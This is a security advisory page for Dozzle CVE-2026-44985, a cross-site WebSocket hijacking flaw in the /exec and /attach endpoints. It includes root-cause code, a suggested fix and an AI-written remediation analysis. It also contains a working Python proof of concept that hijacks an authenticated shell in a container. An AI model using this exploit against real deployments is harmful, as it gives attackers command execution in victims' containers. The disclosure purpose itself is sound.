Skip to main content

Dozzle CVE-2026-44985

HIGH
Origin Validation Error (CWE-346)
2026-05-11 https://github.com/amir20/dozzle GHSA-j643-x8pv-8m67
8.7
CVSS 4.0 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

5
Re-analysis Queued
May 26, 2026 - 22:22 vuln.today
cvss_changed
CVSS changed
May 26, 2026 - 22:22 NVD
8.7 (HIGH)
Source Code Evidence Fetched
May 11, 2026 - 14:31 vuln.today
Analysis Generated
May 11, 2026 - 14:31 vuln.today
CVE Published
May 11, 2026 - 14:07 nvd
HIGH

DescriptionGitHub Advisory

Summary

The WebSocket upgrader for the /exec and /attach endpoints uses CheckOrigin: func(r *http.Request) bool { return true }, accepting upgrade requests from any origin. Combined with the JWT cookie using SameSite: Lax, this enables Cross-Site WebSocket Hijacking (CSWSH) - even when authentication is properly configured.

An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.

Root cause

1. CheckOrigin bypassed (internal/web/terminal.go:15-21)

go
var upgrader = websocket.Upgrader{
    ReadBufferSize:  1024,
    WriteBufferSize: 1024,
    CheckOrigin: func(r *http.Request) bool {
        return true
    },
}

The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return true removes the only server-side defense against CSWSH.

2. JWT cookie with SameSite=Lax (internal/web/auth.go:20-27)

go
http.SetCookie(w, &http.Cookie{
    Name:     "jwt",
    Value:    token,
    HttpOnly: true,
    Path:     "/",
    SameSite: http.SameSiteLaxMode,
    Expires:  expires,
})

SameSite operates at the site level (eTLD+1), not the origin level. A page on evil.example.com can make a WebSocket request to dozzle.example.com and the browser will attach the JWT cookie, because they share the same site (example.com). SameSite=Lax only blocks cross-site requests (different eTLD+1), not cross-origin requests within the same site.

Attack scenario

Preconditions: Dozzle is deployed with --enable-shell and authentication configured (simple auth). The victim is logged in.

  1. Attacker controls a page on the same site (e.g., attacker.example.com, or another service on localhost:8888 while Dozzle is on localhost:9090)
  2. Victim visits the attacker's page while authenticated to Dozzle
  3. Attacker's JavaScript opens new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec')
  4. Browser sends the JWT cookie (same-site, SameSite=Lax allows it)
  5. Dozzle's CheckOrigin returns true - upgrade accepted
  6. Auth middleware validates the JWT from the cookie - request authenticated
  7. Attacker has a shell in the victim's authorized containers

PoC (auth enabled)

Setup - Dozzle with authentication + shell:

docker-compose.yml:

yaml
services:
  dozzle:
    image: amir20/dozzle:latest
    ports:
      - "9090:8080"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - ./data:/data
    environment:
      - DOZZLE_AUTH_PROVIDER=simple
      - DOZZLE_ENABLE_SHELL=true

  target:
    image: alpine:latest
    command: sh -c "while true; do sleep 3600; done"

data/users.yml:

yaml
users:
  admin:
    name: Admin
# password: admin123
    password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS"
    email: admin@test.local
    roles: shell

Exploit - CSWSH with cross-origin Origin header + victim's cookie:

python
import json, time, websocket, requests

target = "http://localhost:9090"
# Verify auth is enabled
r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True)
r.close()
assert r.status_code == 401, "Auth not enabled"
# Victim logs in
r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"})
jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0]
# Get container info (authenticated)
r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10)
for line in r.iter_lines(decode_unicode=True):
    if line and line.startswith("data: "):
        data = json.loads(line[6:])
        if isinstance(data, list) and len(data) > 0 and "host" in data[0]:
            host_id = data[0]["host"]
            cid = data[0]["id"]
            break
r.close()
# CSWSH: cross-origin WebSocket with victim's cookie
ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec"
ws = websocket.create_connection(
    ws_url, timeout=10,
    cookie=f"jwt={jwt}",
    origin="http://localhost:8888"
# DIFFERENT origin
)
# Connected! CheckOrigin:true accepted the cross-origin request

ws.send(json.dumps({"type": "resize", "width": 120, "height": 40}))
time.sleep(1); ws.recv()

ws.send(json.dumps({"type": "userinput", "data": "id\n"}))
time.sleep(2)
ws.settimeout(2)
output = []
try:
    while True:
        output.append(ws.recv())
except:
    pass
ws.close()
print("".join(output))
# uid=0(root) gid=0(root) groups=0(root)
# Verify: without cookie = rejected
try:
    ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888")
    ws2.close()
except Exception as e:
    print(f"Without cookie: {e}")
# 401 Unauthorized

Result:

[+] Auth is ENABLED (events stream returns 401)
[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888
[+] uid=0(root) gid=0(root) groups=0(root)
[+] Without cookie -> 401 Unauthorized

Impact

Users who deploy Dozzle with --enable-shell and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:

  • Execute arbitrary commands in any container the victim has access to
  • Read secrets, environment variables, and files inside containers
  • Pivot to other services accessible from the container network
  • Potentially escape to the Docker host if the socket is mounted writable

Suggested fix

Remove the custom CheckOrigin override and use the gorilla/websocket default, which rejects cross-origin requests:

go
var upgrader = websocket.Upgrader{
    ReadBufferSize:  1024,
    WriteBufferSize: 1024,
    // Default CheckOrigin rejects cross-origin requests
}

AnalysisAI

Cross-Site WebSocket Hijacking (CSWSH) in Dozzle's /exec and /attach endpoints allows authenticated shell access bypass when --enable-shell is enabled. The vulnerability stems from WebSocket origin validation bypass (CheckOrigin returns true) combined with SameSite=Lax JWT cookies, enabling attackers on same-site origins (sibling subdomains or localhost services) to hijack victim WebSocket sessions and execute arbitrary commands in Docker containers. Affects all Dozzle deployments through version 10.5.1 with shell access enabled. No public exploit identified at time of analysis, but detailed proof-of-concept exists in the GitHub advisory demonstrating container shell access via Python script. CVSS score not assigned, but CWE-346 classification indicates origin validation failure.

Technical ContextAI

Dozzle is a Go-based Docker container log viewer (pkg:go/github.com_amir20_dozzle) that uses gorilla/websocket for real-time terminal connections. The vulnerability exploits the interaction between WebSocket origin validation and browser same-site cookie policies. The code explicitly overrides gorilla/websocket's default secure CheckOrigin function to return true unconditionally, accepting WebSocket upgrade requests from any origin. Meanwhile, JWT authentication cookies use SameSite=Lax mode, which operates at the eTLD+1 site level rather than origin level. This creates a mismatch: SameSite=Lax prevents cross-site attacks (example.com vs evil.org) but permits same-site cross-origin requests (app.example.com vs attacker.example.com). CWE-346 (Origin Validation Error) captures the root cause-failure to validate the Origin header during WebSocket handshake. The /exec and /attach endpoints provide interactive shell access to Docker containers, making them high-value targets. When combined with the --enable-shell flag and any authentication provider (simple auth, forward auth, etc.), authenticated users become vulnerable to session hijacking from any attacker-controlled page on the same site.

RemediationAI

Upstream fix available (GitHub Security Advisory GHSA-j643-x8pv-8m67); released patched version not independently confirmed at time of analysis. The advisory recommends removing the custom CheckOrigin override to use gorilla/websocket's default secure origin validation, which rejects cross-origin WebSocket upgrade requests. Specific code change: remove the CheckOrigin function from the websocket.Upgrader in internal/web/terminal.go, allowing the library default (same-origin validation) to apply. Until patched version is deployed, organizations can implement compensating controls: (1) Disable shell access by removing the --enable-shell flag if not operationally required-this eliminates the attack surface entirely but removes functionality; (2) Deploy Dozzle on a dedicated subdomain with no other applications on the same eTLD+1 site to prevent same-site attacks-trade-off is increased infrastructure complexity; (3) Implement network-level access controls (VPN, IP allowlist) to restrict Dozzle access to trusted networks only-reduces attack surface but may impact legitimate remote access; (4) Change JWT cookie to SameSite=Strict mode via code modification-this prevents the cookie from being sent on cross-origin requests but will break legitimate workflows if users navigate to Dozzle from external links. For localhost deployments, ensure no other services run on the same host or use separate network namespaces. Monitor WebSocket connections for unexpected Origin headers as detection mechanism. Advisory reference: https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67 and https://github.com/advisories/GHSA-j643-x8pv-8m67.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-44985 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy